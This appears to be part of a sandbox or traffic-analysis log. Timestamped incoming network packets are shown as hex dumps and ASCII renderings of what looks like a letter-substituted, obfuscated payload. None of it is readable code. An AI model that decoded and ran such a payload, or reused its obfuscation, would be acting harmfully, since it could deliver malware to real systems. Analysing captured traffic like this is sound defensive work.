2021-10-29 18:30:02 UTC	2083	IN	Data Raw: 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 Data Ascii: t Eo R x x x EO KQ OYt Et Eo R x x x EO YR OYt Et Eo R x x x EO Kk OYt Et Eo R x x x EO YR OYt Et ok EO QQ OYt Et Eo Y x x x EO YO OYt Et Eo Y x x x EO QQ OYt Et Eo Y x x x EO YY OYt Et Eo Y x x x EO OxO OYt Et ot EO OOO OYt Et Eo K x x x EO Qk OYt Et Eo
2021-10-29 18:30:02 UTC	2099	IN	Data Raw: 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 45 45 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 4f 20 45 45 20 45 4f 20 4f 78 59 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 59 59 20 4f 59 74 20 45 74 20 45 6f 20 45 6f 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 4f 20 45 6f 20 45 4f 20 4f 78 6b 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 78 20 78 20 78 20 45 4f 20 59 52 20 4f 59 74 20 45 74 20 45 6f 20 45 4f 20 Data Ascii: OYt Et Eo EE x x x EO YR OYt Et Eo EE x x x EO QQ OYt Et Eo EE x x x EO OxO OYt Et EO EE EO OxY OYt Et Eo Eo x x x EO Kk OYt Et Eo Eo x x x EO YY OYt Et Eo Eo x x x EO Yt OYt Et EO Eo EO Oxk OYt Et Eo EO x x x EO Oxo OYt Et Eo EO x x x EO YR OYt Et Eo EO
2021-10-29 18:30:02 UTC	2115	IN	Data Raw: 20 45 74 20 45 6f 20 51 59 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 59 20 45 4f 20 4b 52 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 59 4b 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 4b 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 4b 20 45 4f 20 4f 4f 78 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 51 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 51 20 4f 59 74 20 45 74 20 45 6f 20 51 45 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 45 4f 20 51 45 20 45 4f 20 4f 4f 4f 20 4f 59 74 20 45 74 20 45 6f 20 51 6f 20 78 20 78 20 78 20 45 4f 20 4f Data Ascii: Et Eo QY x x x EO Qk OYt Et EO QY EO KR OYt Et Eo QK x x x EO YK OYt Et Eo QK x x x EO OxO OYt Et Eo QK x x x EO Qk OYt Et EO QK EO OOx OYt Et Eo QE x x x EO QQ OYt Et Eo QE x x x EO KQ OYt Et Eo QE x x x EO Kk OYt Et EO QE EO OOO OYt Et Eo Qo x x x EO O
2021-10-29 18:30:02 UTC	2131	IN	Data Raw: 20 45 6f 20 74 20 78 20 78 20 78 20 45 4f 20 4b 6b 20 4f 59 74 20 45 74 20 6f 51 20 45 4f 20 4f 78 51 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 6b 20 4f 59 74 20 45 74 20 45 6f 20 52 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 6f 6b 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 51 74 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 4f 20 4f 59 74 20 45 74 20 45 6f 20 59 20 78 20 78 20 78 20 45 4f 20 4f 78 6f 20 4f 59 74 20 45 74 20 6f 74 20 45 4f 20 4f 4f 52 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 78 20 45 4f 20 59 74 20 4f 59 74 20 45 74 20 45 6f 20 4b 20 78 20 78 20 Data Ascii: Eo t x x x EO Kk OYt Et oQ EO OxQ OYt Et Eo R x x x EO Qt OYt Et Eo R x x x EO Qk OYt Et Eo R x x x EO Qt OYt Et ok EO OxO OYt Et Eo Y x x x EO Qt OYt Et Eo Y x x x EO OxO OYt Et Eo Y x x x EO Oxo OYt Et ot EO OOR OYt Et Eo K x x x EO Yt OYt Et Eo K x x
2021-10-29 18:30:02 UTC	2147	IN	Data Raw: 6b 20 4f 4f 4b 20 6f 74 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 59 4b 20 6b 4f 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 4b 4b 20 4b 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 45 4f 20 51 51 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 4b 20 4b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4b 59 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 6f 6f 52 20 6b 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 59 4f 20 59 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6f 78 20 6f 59 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 45 6b 20 74 52 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 51 4f 20 4f 4f 78 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 6b 4f 20 52 4b 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 78 59 20 4f 4f 45 20 45 59 20 6f 20 6b 52 20 4f 6f 6b 20 4f 4b 45 20 59 52 20 Data Ascii: k OOK ot EY o kR Ook OYK kO EY o kR Ook oKK KY EY o kR Ook OEO QQ EY o kR Ook OKK Kx EY o kR Ook KY OOx EY o kR Ook ooR kx EY o kR Ook YO YR EY o kR Ook Oox oY EY o kR Ook Ek tR EY o kR Ook QO OOx EY o kR Ook OkO RK EY o kR Ook OxY OOE EY o kR Ook OKE YR
2021-10-29 18:30:02 UTC	2163	IN	Data Raw: 20 4f 20 4b 45 20 45 20 51 20 78 20 4f 6b 78 20 4f 20 4b 6b 20 45 20 51 20 78 20 4f 6b 4b 20 4f 20 59 45 20 45 20 51 20 78 20 4f 6b 6b 20 4f 20 59 6b 20 45 20 51 20 78 20 4f 51 6f 20 4f 20 52 45 20 45 20 51 20 78 20 4f 51 52 20 4f 20 52 6b 20 45 20 51 20 78 20 6f 78 78 20 4f 20 74 45 20 45 20 51 20 78 20 6f 78 4b 20 4f 20 74 6b 20 45 20 51 20 78 20 6f 78 6b 20 4f 20 6b 45 20 45 20 51 20 78 20 6f 4f 6f 20 4f 20 6b 6b 20 45 20 51 20 78 20 6f 4f 52 20 4f 20 51 45 20 45 20 51 20 78 20 6f 6f 78 20 4f 20 51 6b 20 45 20 51 20 78 20 6f 6f 4b 20 4f 20 4f 78 45 20 45 20 51 20 78 20 6f 6f 6b 20 4f 20 4f 78 6b 20 45 20 51 20 78 20 6f 45 6f 20 4f 20 4f 4f 45 20 45 20 51 20 78 20 6f 45 52 20 4f 20 4f 4f 6b 20 45 20 51 20 78 20 6f 4b 78 20 4f 20 4f 6f 45 20 45 20 51 20 Data Ascii: O KE E Q x Okx O Kk E Q x OkK O YE E Q x Okk O Yk E Q x OQo O RE E Q x OQR O Rk E Q x oxx O tE E Q x oxK O tk E Q x oxk O kE E Q x oOo O kk E Q x oOR O QE E Q x oox O Qk E Q x ooK O OxE E Q x ook O Oxk E Q x oEo O OOE E Q x oER O OOk E Q x oKx O OoE E Q
2021-10-29 18:30:02 UTC	2179	IN	Data Raw: 74 20 4f 4f 78 20 4f 78 78 20 4f 78 6b 20 4f 78 4f 20 74 51 20 4f 4f 78 20 6b 45 20 4f 4f 52 20 51 74 20 51 51 20 4f 78 74 20 78 20 6b 6f 20 4f 78 4f 20 4f 78 45 20 4f 78 59 20 4f 4f 59 20 4f 4f 52 20 4f 4f 4b 20 4f 6f 4f 20 74 59 20 4f 78 4f 20 4f 6f 4f 20 6b 78 20 4f 78 4f 20 4f 4f 4b 20 4f 78 51 20 4f 78 59 20 4f 4f 59 20 4f 4f 59 20 4f 78 59 20 4f 4f 4f 20 4f 4f 78 20 52 74 20 4f 78 4b 20 4f 78 4f 20 51 51 20 4f 78 74 20 78 20 52 59 20 4f 78 6b 20 4f 78 6b 20 4f 4f 4f 20 51 51 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 78 20 4f 4f 4b 20 4f 78 4f 20 4f 78 4f 20 74 6f 20 74 4f 20 4f 78 6b 20 4f 4f 4f 20 51 6b 20 51 74 20 4f 78 6b 20 78 20 74 74 20 51 74 20 4f 4f 4b 20 4f 4f 59 20 4f 78 4b 20 51 74 20 4f 78 6b 20 Data Ascii: t OOx Oxx Oxk OxO tQ OOx kE OOR Qt QQ Oxt x ko OxO OxE OxY OOY OOR OOK OoO tY OxO OoO kx OxO OOK OxQ OxY OOY OOY OxY OOO OOx Rt OxK OxO QQ Oxt x RY Oxk Oxk OOO QQ to tO Oxk OOO Qk Qt Oxk x tx OOK OxO OxO to tO Oxk OOO Qk Qt Oxk x tt Qt OOK OOY OxK Qt Oxk
2021-10-29 18:30:02 UTC	2195	IN	Data Raw: 6f 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 6f 20 4f 59 4f 20 6f 6f 59 20 4f 6b 4f 20 4f 52 59 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 6f 6f 59 20 4f 6b 4f 20 4f 74 6f 20 6f 6f 59 20 4f 6b 4f 20 4f 6b 52 20 6f 6f 59 20 4f 6b 6f 20 4f 45 78 20 78 20 6f 45 45 20 4f 45 6f 20 4f 51 78 20 6f 45 45 20 4f 45 45 20 4f 59 78 20 6f 45 45 20 4f 45 45 20 4f 74 4b 20 6f 45 45 20 4f 45 45 20 4f 6b 59 20 6f 45 45 20 4f 45 45 20 4f 59 52 20 6f 45 45 20 4f 45 45 20 4f 6b 51 20 6f 45 45 20 4f 45 45 20 4f 74 59 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 74 4f 20 6f 45 45 20 4f 45 45 20 4f 59 45 20 6f 45 45 20 4f 45 45 20 4f 6f 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 51 20 6f 45 45 20 4f 45 6f 20 4f 6b 52 20 6f 45 45 20 4f 45 45 20 4f 4b 51 Data Ascii: o ooY Oko OEx ooY Oko OYO ooY OkO ORY ooY Oko OEx ooY OkO Oto ooY OkO OkR ooY Oko OEx x oEE OEo OQx oEE OEE OYx oEE OEE OtK oEE OEE OkY oEE OEE OYR oEE OEE OkQ oEE OEE OtY oEE OEE OtO oEE OEE OtO oEE OEE OYE oEE OEE OoQ oEE OEo OkQ oEE OEo OkR oEE OEE OKQ
2021-10-29 18:30:02 UTC	2211	IN	Data Raw: 4f 20 4f 6f 51 20 4f 6b 51 20 6f 45 4f 20 4f 6f 51 20 4f 4b 78 20 6f 45 4f 20 4f 45 78 20 4f 4b 78 20 6f 45 4f 20 4f 6f 51 20 4f 4b 45 20 6f 45 4f 20 4f 45 78 20 4f 45 78 20 6f 45 4f 20 4f 6f 51 20 4f 6b 59 20 6f 45 4f 20 4f 6f 51 20 4f 4b 6f 20 78 20 6f 45 59 20 4f 45 45 20 4f 4b 74 20 6f 45 59 20 4f 45 45 20 4f 74 74 20 6f 45 59 20 4f 45 45 20 4f 51 78 20 6f 45 59 20 4f 45 45 20 4f 52 6f 20 6f 45 59 20 4f 45 4b 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 45 4b 20 6f 45 59 20 4f 45 45 20 4f 74 4b 20 6f 45 59 20 4f 45 45 20 4f 4b 52 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 4b 20 4f 6f 51 20 6f 45 59 20 4f 45 45 20 4f 4b 4f 20 6f 45 59 20 4f 45 45 20 4f 4b 4b 20 6f 45 59 20 4f 45 45 20 4f 6b 6b 20 6f 45 59 Data Ascii: O OoQ OkQ oEO OoQ OKx oEO OEx OKx oEO OoQ OKE oEO OEx OEx oEO OoQ OkY oEO OoQ OKo x oEY OEE OKt oEY OEE Ott oEY OEE OQx oEY OEE ORo oEY OEK OKK oEY OEE OKx oEY OEK OEK oEY OEE OtK oEY OEE OKR oEY OEE OKx oEY OEK OoQ oEY OEE OKO oEY OEE OKK oEY OEE Okk oEY
2021-10-29 18:30:02 UTC	2227	IN	Data Raw: 4f 4b 74 20 4f 4b 78 20 6f 6f 6b 20 4f 4b 52 20 4f 59 51 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 6b 6b 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 6f 6f 6b 20 4f 4b 52 20 4f 59 45 20 6f 6f 6b 20 4f 4b 52 20 4f 59 4f 20 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 6f 20 6f 45 4f 20 4f 4b 52 20 4f 4b 6b 20 6f 45 4f 20 4f 4b 52 20 4f 59 45 20 6f 45 4f 20 4f 4b 74 20 4f 45 45 20 6f 45 4f 20 4f 4b 52 20 4f 6b 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 4b 20 6f 45 4f 20 4f 4b 74 20 4f 45 74 20 6f 45 4f 20 4f 4b 52 20 4f 59 78 20 6f 45 4f 20 4f 4b 74 20 4f 45 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 59 20 6f 45 4f 20 4f 4b 52 20 4f 6b 78 20 6f 45 4f 20 4f 4b 52 20 4f 59 52 20 6f 45 4f 20 4f 4b 74 20 4f 45 4b 20 6f 45 4f 20 4f 4b 52 20 4f 74 6b 20 6f 45 4f 20 4f Data Ascii: OKt OKx ook OKR OYQ ook OKR OkO ook OKR Okk ook OKR OYO ook OKR OYE ook OKR OYO x oEO OKR OYo oEO OKR OKk oEO OKR OYE oEO OKt OEE oEO OKR Okt oEO OKR OYK oEO OKt OEt oEO OKR OYx oEO OKt OER oEO OKt OEY oEO OKR Okx oEO OKR OYR oEO OKt OEK oEO OKR Otk oEO O
2021-10-29 18:30:02 UTC	2243	IN	Data Raw: 4b 20 4f 52 4f 20 6f 45 78 20 4f 52 4b 20 4f 4b 6f 20 6f 45 78 20 4f 52 4b 20 4f 6b 59 20 6f 45 78 20 4f 52 45 20 4f 74 51 20 6f 45 78 20 4f 52 4b 20 4f 59 4f 20 6f 45 78 20 4f 52 45 20 4f 6b 45 20 6f 45 78 20 4f 52 4b 20 4f 52 6f 20 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 51 20 6f 6f 74 20 4f 74 4b 20 4f 52 52 20 6f 6f 74 20 4f 74 59 20 4f 59 78 20 6f 6f 74 20 4f 74 4b 20 4f 52 6f 20 6f 6f 74 20 4f 74 4b 20 4f 52 6b 20 6f 6f 74 20 4f 74 59 20 4f 45 45 20 6f 6f 74 20 4f 74 59 20 4f 45 74 20 6f 6f 74 20 4f 74 4b 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 74 78 20 6f 6f 74 20 4f 74 59 20 4f 52 4b 20 6f 6f 74 20 4f 74 59 20 4f 59 4b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 59 20 4f 4b 6b 20 6f 6f 74 20 4f 74 59 20 4f 4b 59 20 6f 6f 74 20 4f 74 4b Data Ascii: K ORO oEx ORK OKo oEx ORK OkY oEx ORE OtQ oEx ORK OYO oEx ORE OkE oEx ORK ORo x oot OtK ORQ oot OtK ORR oot OtY OYx oot OtK ORo oot OtK ORk oot OtY OEE oot OtY OEt oot OtK ORK oot OtY Otx oot OtY ORK oot OtY OYK oot OtY OKY oot OtY OKk oot OtY OKY oot OtK
2021-10-29 18:30:02 UTC	2259	IN	Data Raw: 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 4b 78 20 6f 45 6b 20 4f 6b 45 20 4f 74 4f 20 6f 45 6b 20 4f 6b 4b 20 4f 59 4b 20 6f 45 6b 20 4f 6b 4b 20 4f 52 74 20 6f 45 6b 20 4f 6b 4b 20 4f 59 74 20 6f 45 6b 20 4f 6b 45 20 4f 74 6f 20 78 20 6f 45 45 20 4f 6b 4b 20 4f 45 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 6f 20 6f 45 45 20 4f 6b 4b 20 4f 6f 6b 20 6f 45 45 20 4f 6b 4b 20 4f 59 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 6f 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 74 45 20 6f 45 45 20 4f 6b 4b 20 4f 74 59 20 6f 45 45 20 4f 6b 4b 20 4f 74 4f 20 6f 45 45 20 4f 6b 4b 20 4f 59 52 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 59 6b 20 6f 45 45 20 4f 6b 45 20 4f 51 78 20 6f 45 45 20 4f 6b 4b 20 4f 74 4b 20 6f 45 45 20 4f 6b 4b 20 4f Data Ascii: OtO oEk OkK OKx oEk OkE OtO oEk OkK OYK oEk OkK ORt oEk OkK OYt oEk OkE Oto x oEE OkK OEO oEE OkK Oto oEE OkK Ook oEE OkK OYO oEE OkK OYo oEE OkK OtO oEE OkK OtE oEE OkK OtY oEE OkK OtO oEE OkK OYR oEE OkE OQx oEE OkK OYk oEE OkE OQx oEE OkK OtK oEE OkK O
2021-10-29 18:30:02 UTC	2275	IN	Data Raw: 45 20 6f 45 59 20 4f 45 45 20 4f 4b 6b 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 4f 20 6f 45 59 20 4f 45 45 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 4b 78 20 6f 45 59 20 4f 45 45 20 4f 6b 78 20 6f 45 59 20 4f 45 45 20 4f 52 4f 20 6f 45 59 20 4f 45 45 20 4f 45 4f 20 6f 45 59 20 4f 45 4b 20 4f 45 51 20 6f 45 59 20 4f 45 45 20 4f 6b 45 20 78 20 6f 6f 74 20 4f 59 4f 20 4f 74 52 20 6f 6f 74 20 4f 59 4f 20 4f 52 51 20 6f 6f 74 20 4f 59 4f 20 4f 4b 74 20 6f 6f 74 20 4f 59 78 20 4f 51 78 20 6f 6f 74 20 4f 59 4f 20 4f 4b 6b 20 6f 6f 74 20 4f 59 4f 20 4f 74 6f 20 6f 6f 74 20 4f 59 78 20 4f 6b 6f 20 6f 6f 74 20 4f 59 4f 20 4f 74 78 20 6f 6f 74 20 4f 59 78 20 4f 6b 51 20 6f 6f 74 20 4f 59 4f 20 4f 6b 6b Data Ascii: E oEY OEE OKk oEY OEE OkE oEY OEE OEQ oEY OEE OkO oEY OEE OEQ oEY OEE OKx oEY OEE Okx oEY OEE ORO oEY OEE OEO oEY OEK OEQ oEY OEE OkE x oot OYO OtR oot OYO ORQ oot OYO OKt oot OYx OQx oot OYO OKk oot OYO Oto oot OYx Oko oot OYO Otx oot OYx OkQ oot OYO Okk
2021-10-29 18:30:02 UTC	2291	IN	Data Raw: 20 78 20 52 59 20 78 20 52 52 20 78 20 52 74 20 78 20 52 59 20 78 20 6b 4f 20 78 20 52 52 20 78 20 59 6f 20 78 20 74 45 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 52 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 4f 4f 51 20 78 20 52 59 20 78 20 52 59 20 78 20 74 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 Data Ascii: x RY x RR x Rt x RY x kO x RR x Yo x tE x kO x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RR x OOQ x OOQ x OOQ x RY x RY x to x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x RY x
2021-10-29 18:30:02 UTC	2307	IN	Data Raw: 78 20 4b 45 20 78 20 4f 78 59 20 78 20 4f 4f 78 20 78 20 6b 78 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 45 20 78 20 4b 51 20 78 20 74 78 20 78 20 4f 4f 52 20 78 20 74 78 20 78 20 52 74 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 4f 4f 20 78 20 4f 4f 6b 20 78 20 74 51 20 78 20 4b 74 20 78 20 4b 51 20 78 20 52 59 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 4f 6f 4f 20 78 20 4f 78 51 20 78 20 74 52 20 78 20 52 52 20 78 20 4f 78 51 20 78 20 51 74 20 78 20 52 6b 20 78 20 4f 4f 6f 20 78 20 51 6b 20 78 20 6b 4b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4f 4f 6b 20 78 20 59 52 20 78 20 52 59 20 78 20 4f 78 52 20 78 20 6b 51 20 78 20 59 78 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 59 20 78 20 4b 74 20 78 20 6b 59 20 78 20 6b Data Ascii: x KE x OxY x OOx x kx x OxE x RY x RY x kY x tE x KQ x tx x OOR x tx x Rt x tR x RR x OOO x OOk x tQ x Kt x KQ x RY x kO x YK x OoO x OxQ x tR x RR x OxQ x Qt x Rk x OOo x Qk x kK x Kt x Kt x OOk x YR x RY x OxR x kQ x Yx x Kk x Kt x Kt x YY x Kt x kY x k
2021-10-29 18:30:02 UTC	2323	IN	Data Raw: 51 6b 20 78 20 4f 78 45 20 78 20 4b 74 20 78 20 4f 78 74 20 78 20 52 51 20 78 20 6b 52 20 78 20 59 6f 20 78 20 4f 78 6b 20 78 20 4f 78 78 20 78 20 4b 45 20 78 20 52 59 20 78 20 4b 45 20 78 20 74 78 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 74 52 20 78 20 59 52 20 78 20 74 45 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 52 59 20 78 20 52 59 20 78 20 6b 52 20 78 20 59 6f 20 78 20 59 78 20 78 20 74 78 20 78 20 59 6f 20 78 20 4f 4f 6b 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 51 20 78 20 74 6b 20 78 20 6b 4f 20 78 20 51 78 20 78 20 4f 4f 4f 20 78 20 4f 78 51 20 78 20 4f 78 78 20 78 20 59 6f 20 78 20 6b 78 20 78 20 59 4f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 4b 45 20 78 20 4f 78 52 20 78 20 4f 4f 74 20 Data Ascii: Qk x OxE x Kt x Oxt x RQ x kR x Yo x Oxk x Oxx x KE x RY x KE x tx x OOO x RY x RY x RY x RY x tR x YR x tE x RY x OxE x RY x RY x kR x Yo x Yx x tx x Yo x OOk x YO x Kt x Kt x KQ x tk x kO x Qx x OOO x OxQ x Oxx x Yo x kx x YO x Kt x Kt x KE x OxR x OOt
2021-10-29 18:30:02 UTC	2339	IN	Data Raw: 20 74 78 20 78 20 74 4f 20 78 20 4f 4f 4f 20 78 20 52 59 20 78 20 6b 59 20 78 20 74 74 20 78 20 51 51 20 78 20 74 4f 20 78 20 4b 6b 20 78 20 74 74 20 78 20 4f 4f 6f 20 78 20 52 59 20 78 20 52 59 20 78 20 74 51 20 78 20 4f 78 52 20 78 20 6b 74 20 78 20 4f 78 59 20 78 20 52 59 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 78 45 20 78 20 59 52 20 78 20 6b 4f 20 78 20 74 74 20 78 20 4f 78 59 20 78 20 59 52 20 78 20 51 6b 20 78 20 52 6b 20 78 20 6b 59 20 78 20 74 52 20 78 20 4f 78 51 20 78 20 74 74 20 78 20 59 52 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 4f 6f 78 20 78 20 4f 4f 51 20 78 20 52 6b 20 78 20 6b 4f 20 78 20 4f 6f 4f 20 78 20 4f 78 74 20 78 20 52 59 20 78 20 52 59 20 78 20 59 4b 20 78 20 74 6b 20 78 20 74 74 20 78 20 4f 4f 6b 20 78 20 52 Data Ascii: tx x tO x OOO x RY x kY x tt x QQ x tO x Kk x tt x OOo x RY x RY x tQ x OxR x kt x OxY x RY x RY x RY x OxE x YR x kO x tt x OxY x YR x Qk x Rk x kY x tR x OxQ x tt x YR x Oxt x RY x RY x Oox x OOQ x Rk x kO x OoO x Oxt x RY x RY x YK x tk x tt x OOk x R
2021-10-29 18:30:02 UTC	2355	IN	Data Raw: 51 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 59 20 78 20 52 6b 20 78 20 4b 74 20 78 20 4f 78 78 20 78 20 6b 4f 20 78 20 4f 78 52 20 78 20 4b 74 20 78 20 74 78 20 78 20 51 78 20 78 20 4f 78 52 20 78 20 52 52 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 4b 20 78 20 4f 4f 51 20 78 20 4b 51 20 78 20 6b 74 20 78 20 74 52 20 78 20 59 59 20 78 20 74 45 20 78 20 6b 78 20 78 20 4f 4f 59 20 78 20 74 59 20 78 20 74 45 20 78 20 74 6b 20 78 20 4f 78 6b 20 78 20 59 6f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 78 20 78 20 4f 4f 51 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 78 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 74 6b 20 78 20 52 6b 20 78 20 74 45 20 78 20 4f 78 6b 20 78 20 74 6b 20 78 20 59 45 20 78 20 74 45 20 78 20 4f 4f 52 20 78 20 Data Ascii: Q x kO x RY x RY x Rk x Kt x Oxx x kO x OxR x Kt x tx x Qx x OxR x RR x kO x RY x Rk x tK x OOQ x KQ x kt x tR x YY x tE x kx x OOY x tY x tE x tk x Oxk x Yo x RY x Rt x tx x OOQ x tE x Oxk x tk x Yx x tE x OOR x tk x Rk x tE x Oxk x tk x YE x tE x OOR x
2021-10-29 18:30:02 UTC	2371	IN	Data Raw: 20 78 20 4b 6b 20 78 20 4b 74 20 78 20 4f 78 6f 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 4b 20 78 20 74 4b 20 78 20 6b 52 20 78 20 59 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 59 4b 20 78 20 74 78 20 78 20 74 45 20 78 20 6b 78 20 78 20 52 59 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 6b 4b 20 78 20 59 74 20 78 20 4b 74 20 78 20 4b 74 20 78 20 59 74 20 78 20 6b 4f 20 78 20 51 74 20 78 20 52 59 20 78 20 52 6b 20 78 20 74 74 20 78 20 6b 4f 20 78 20 52 59 20 78 20 52 74 20 78 20 74 6b 20 78 20 4f 78 4b 20 78 20 4f 78 6f 20 78 20 